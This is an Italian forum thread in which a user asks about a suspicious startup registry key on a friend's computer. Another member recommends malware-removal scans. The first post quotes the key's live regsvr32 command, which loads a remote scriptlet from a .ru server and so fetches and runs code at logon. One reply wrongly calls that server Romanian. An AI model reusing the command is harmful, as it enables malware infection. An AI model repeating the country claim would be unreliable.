chiave di registro sospetta

[nikita75]

Si HKCU:Run COM+ anita regsvr32 /s /n /u /i:http://server2.aserdefa.ru/restore.xml scrobj.dll

Ciao a tutti , riscontro in questo pc di una mia amica , questa chiave di registro molto sospetta in avvio !!
cosa mi sapete dire ? non è associata a nessun programma..
COM + è l'unico dettaglio che noto
CC Cleanner pro > Avvio rivela attiva questa . dll
grazie a tutti!

[nikita75]

questa è la chiave di registro in regedit





https://postimg.cc/gallery/1n0henrny/

[m.paolo]

Ma ti da dei problemi? Perchè molto sospetta?

[nikita75]

si,,, pop up di ogni tipo!

[dany79]

Ciao Nikita

se hai tempo e voglia esegui queste scansioni:(quella chiave punta a un server rumeno (ru) ed è una chiave di avvio)...

Malwarebyte antimalware scaricalo da qui https://it.malwarebytes.com/
fai la scansione ed elimina cio che trova e posta il log generato

Poi scarica adwcleaner da quihttps://www.bleepingcomputer.com/dow ... dwcleaner/
tasto dx sopra eseguibile avvia come amministratore e fai la scansione elimina quello che trova e posta il log

Poi scarica frst da qui https://www.bleepingcomputer.com/dow...ery-scan-tool/
scarica la versione adatta al tuo sistemaoperativo 32 o 64 bit
posiziona l eseguibile sul desktop
tasto dx sopra eseguibile--apri come amministratore
una volta aperto clicca su scan
postare log frst.txt e addition.txt

Vediamo cosa cè che non va...

Ciao

[nikita75]

Grazie Dany 79 ,
in questa settimana rivedro' la mia amica e con un po di pazienza riuscirò a svolgere le procedure e scansioni!
Ho provato 2 giorni fa ad usare adw cleaner ..ma senza nessun risultato!